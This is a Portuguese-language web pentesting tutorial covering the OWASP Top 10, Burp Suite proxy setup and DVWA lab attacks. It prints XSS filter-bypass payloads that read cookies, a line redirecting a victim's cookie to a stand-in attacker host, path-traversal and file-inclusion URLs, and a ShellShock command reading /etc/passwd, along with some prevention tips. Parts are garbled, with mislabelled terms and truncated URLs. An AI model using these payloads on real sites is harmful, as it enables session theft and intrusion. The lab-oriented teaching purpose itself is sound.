OWASP
- significa Open Web Application Security Project
- publica vulnerabilidades críticas em aplicativos da Web em intervalos regulares (como 2 ou 3 anos).
- A Metodologia de Teste OWASP é uma lista de vulnerabilidades e como corrigi-las.
- Essas vulnerabilidades são as seguintes em ordem de criticidade;
OWASP TOP 10
1- Injection: SQL Injection, NoSQL Injection, Operating System Injection etc.
2- Autenticação quebrada: Existem vulnerabilidades de aplicativos errados feitos no gerenciamento de sessão.
3- Exposição de Dados Sensíveis: Divulgação desprotegida de dados sensíveis durante o armazenamento e transferência.
4- Entidades Externas XML (XXS): Dados sobre a rede interna, execução remota de código graças a processadores XML.
5- Controle de Acesso Quebrado: Situação em que um usuário logado pode acessar alguns locais sem autorização.
6- Configuração incorreta de segurança: Deixar as configurações padrão.
7- XSS (Cross-Site-Scripting): São as vulnerabilidades que ocorrem quando códigos JS podem ser executados. 8- Desserialização Insegura: Um caso em que um usuário não confiável processa um código malicioso enquanto
restaura um dado convertido em formas como json e xml . 9- Utilização de Componentes com Vulnerabilidades Conhecidas: Vulnerabilidade decorrente de vulnerabilidades decorrentes de vulnerabilidades antigas. Como ainda usar o Windows 7, por exemplo.
10- Logging & Monitoramento Insuficiente: Estas são as vulnerabilidades causadas por não registrar e monitorar situações como login, login sem sucesso, grande quantidade de transferências de dinheiro .
Testing Vulnerable Web Apps
Teste ambientes
- DVWA
- WebGoat
- bWAAP
- VulnHub
- Multillidae
Ferramentas para varredura de vulnerabilidade
- Nikto
- OWASP Zap
- Netsparker
- Acunetix
Web Application Vulnerability Scanning com OWASP ZAP
#owasp-zap comando é executado a partir da linha de comando e a atualização processo está concluído.
Intervenção com Burpsuit
- Burpsuit é uma ferramenta frequentemente usada em testes de penetração na web.
- Embora tenha muitos módulos com capacidades diferentes, abordaremos os recursos de proxy da ferramenta Burpsuit neste tutorial
.
- Para intervir no tráfego da web com o Burpsuit, primeiro precisamos definir uma porta de escuta e, em seguida,
definir esse proxy na guia de configurações do nosso navegador da web.
- Desta forma, todo o tráfego da web pode passar pelo proxy e podemos parar e manipular o tráfego aqui.
- Com este método, podemos contornar todas as medidas de segurança e restrições do lado do cliente.
- Além destes, repetidor, decodificador, crawler, comparador etc. no Burpsuit. Tem outras características.
- Usaremos a versão comunitária (gratuita) do Burpsuit ao longo do tutorial.
- Esta versão vem pré-instalada no kali. Ele pode ser baixado do site e usado para Windows, se desejado.
Burp Proxy
Adicionando um novo proxy: Na seção Proxy > Options > Add > Binding, a porta está escrita na seção Bind to port. Vincular ao endereço: Somente loopback
está selecionado. 127.0.0.1
O que é DVWA?
- Maldito aplicativo da Web vulnerável
- Aplicativo da Web vulnerável -
Construído com PHP.
- Contém 8 vulnerabilidades, cada uma dividida em 3 níveis de dificuldade.
Brute Force - Brute Force Attack
- Tentando todas as possibilidades possíveis de usuário ou senha.
- Com uma lógica semelhante, no aplicativo Dictionary Attack, a senha ou nome de usuário de toda a lista de palavras que temos
testado para adequação.
* Aqui vamos exemplificar realizando um ataque Brute Force em Burpsuite e Hydra.
A execução do comando
é CMD no Windows e podemos executar comandos Shell no Linux.
CSRF Attack
- CSRF: Cross Site Request Forgery
- Este ataque permite que a pessoa alvo aja contra sua vontade e conhecimento.
- Com esse ataque, uma nova solicitação de formulário é criada manipulando os campos do formulário em um site e enviada ao usuário alvo.
- Neste campo de formulário manipulado, existem solicitações como alteração de nome de usuário, senha ou transferência de dinheiro.
- No entanto, para que este ataque seja realizado com sucesso, o usuário final alvo já deve estar logado neste sistema.
requeridos.
- Normalmente, o trecho de código que contém essa solicitação de formulário é enviado ao usuário final em um arquivo html ou
hospedado em um servidor remoto, e a URL desse trecho de código é incorporada a uma imagem ou PDF e esse arquivo é clicado por o usuário final
.
- A solicitação do navegador a um servidor remoto sem o conhecimento do usuário
- Então, quais precauções podemos tomar para evitar esse ataque?
- Por exemplo, ao alterar a senha, primeiro solicitamos a senha antiga, assim qualquer
consulta que não insira a senha antiga não será processada pelo servidor.
- A digitação da senha antiga só pode ser feita com o conhecimento do usuário.
Ataque XSS
- XSS: Cross Site Scripting
- Esta vulnerabilidade é feita colocando um script do lado do usuário no campo de entrada de uma página da web dinâmica.
- Se o resultado de um trecho de código como <script>alert(Você foi hackeado!);</script> for hackeado! Se houver um pop-up dizendo,
uma vulnerabilidade XSS pode ser mencionada aqui.
- Se o aplicativo for escrito em ASP e houver um banco de dados MSSQL em segundo plano, podemos dizer que existe XSS se o código abaixo funcionar.
- <IMG SRC=vbscript:msgbox(Vulnerable);>orginalAttribute=SRC orginalPath=vbscript:msgbox(Vulnerable);>
- Existem dois tipos, XSS refletido e XSS armazenado.
- XSS refletido: Situações em que podemos executar esse código instantaneamente
- XSS armazenado: é salvo no banco de dados em segundo plano. E sempre o armazena. Executamos scripts em ambos, não
há diferença.
- Podemos enviar os seguintes códigos JS para receber o valor do cookie do cliente;
- <script>alert(document.cookie);</script> (Nível de segurança: BAIXO, PHPIDS: desabilitado)
- Se houver alguma filtragem nos sistemas, um valor como abaixo pode ser tentado.
- <sCript>alert(document.cookie);</scRipt> (Nível de segurança: MEDIUM, PHPIDS: desativado)
- Alternativamente, o seguinte método pode ser tentado.
- <sc <script> ript>alert(document.cookie);</sc <script> ript> (Nível de segurança: MEDIUM, PHPIDS: desativado)
- Código JS que envia o cookie com ele ao redirecionar para uma página:
- window.location.href=aggressor.com/index.php?cookie=+document.cookie;
Um dos métodos de prevenção de ataques XSS
- Uma das medidas a serem tomadas para evitar esse ataque é definir o sinalizador HTTPOnly ao definir o valor do cookie. Assim
, um código JS em execução no lado do cliente não pode acessar o valor do cookie.
- Este sinalizador é definido inserindo a seguinte configuração no arquivo httpd.conf;
- Edição de cabeçalho Set-Cookie ^(.*)$ $1;HttpOnly;Secure
- Obviamente, a melhor medida para evitar XSS seria o controle de entrada.
- No entanto, há um ponto que não deve ser esquecido de que será insuficiente realizar apenas inspeções do lado do cliente.
Directory Traversal
- também conhecido como Path Traversal
- Permite que um invasor saia do diretório do servidor da Web e entre em outras partes do sistema host.
- Uma vez fora do diretório da web, o invasor pode ignorar as permissões e outras verificações de segurança e executar comandos no sistema.
- Um pouco de conhecimento do servidor e um pouco de conhecimento do navegador são tudo o que é necessário para fazer esse ataque
.
- http://hedefsite.com/show.asp?view=history.html
http://hedefsite.com/show.asp?view=../. … system.ini
Inclusão
de arquivo A vulnerabilidade de inclusão de arquivo expõe aplicativos da Web que dependem da maior parte do tempo de execução do script . É um tipo de
vulnerabilidade de segurança
- Incluir um arquivo em um site de destino ou exibir um arquivo que o site de destino possui, mas não oferece
. Nós o dividimos em dois tipos;
- LFI (Inclusão de Arquivo Local) significa literalmente Inclusão de Arquivo do Servidor.
- RFI (Remote File Inclusion) significa literalmente Inclusão Remota de Arquivo.
Como forma de acessar o arquivo de saída e host no sistema Windows;
-http://192.168.43.189/dvwa/vulnerabilities/fi/?page?C:\\\Windows\\\System32\\\drivers\\\etc\\\hosts
Exemplo de inclusão de arquivo remoto;
- http://192.168.43.189/dvwa/vulnerabilit … index.html
Vulnerabilidade
ShellShock A vulnerabilidade ShellShock é vista principalmente em dispositivos Unix e Linux. - O trecho de código a seguir pode ser fornecido como exemplo em um servidor Linux com vulnerabilidade ShellShock; - env x='(){:;};echo exploit' bash -c 'cat /etc/passwd'